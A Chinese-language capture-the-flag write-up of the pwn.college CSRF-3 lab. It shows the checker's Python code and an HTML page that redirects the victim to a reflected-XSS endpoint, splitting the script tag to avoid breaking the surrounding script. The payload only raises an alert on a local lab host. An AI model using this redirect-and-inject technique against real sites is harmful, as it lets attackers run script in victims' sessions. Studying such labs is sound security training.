CSRF-3

题目简介

需要通过CSRF引起XSS,并且提示我们注意javascript标签的闭合问题

漏洞点分析

查看victim源码

1
2
3
4
5
6
7
8
9
10
11
12
try:
WebDriverWait(browser, 1).until(EC.alert_is_present())
except TimeoutException:
print("Failure: JavaScript alert did not trigger...")
sys.exit(3)
else:
browser.switch_to.alert.accept()
if browser.current_url.replace(":80", "").startswith(challenge_url.replace(":80", "")):
print("Alert triggered! Your reward:")
print(flag)
else:
print("It looks like the alert did not come from {challenge_url}/ephemeral?")

发现输出falg的逻辑是访问server的ephemeral路由,并检测是否有alert出现

回到server端查看该路由,可以看到有一个msg的查询字符串(即GET传参),因此存在admin账户的请求伪造,并触发admin账户执行相应的js代码的漏洞

漏洞点利用

根据上述分析,只要我们可以把victim重定向到challenge.localhost/ephemeral并在该页面执行js代码即可

故可以写出如下的页面:index.html

1
2
3
4
5
6
7
8
9
10
11
12
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>CSRF Attack</title>
<script>
window.location.href="http://challenge.localhost/ephemeral?msg=<s"+"cript>alert('PWNED')<\/script>"
</script>
</head>
<body>
</body>
</html>

通过依次启动server、启动自己的服务(1337端口)、启动victim即可获得flag:


CSRF-3
http://0x4a-210.github.io/2025/07/18/pwn.college/Intro-to-Cybersecurity/Web/CSRF-3/
Posted on
July 18, 2025
Licensed under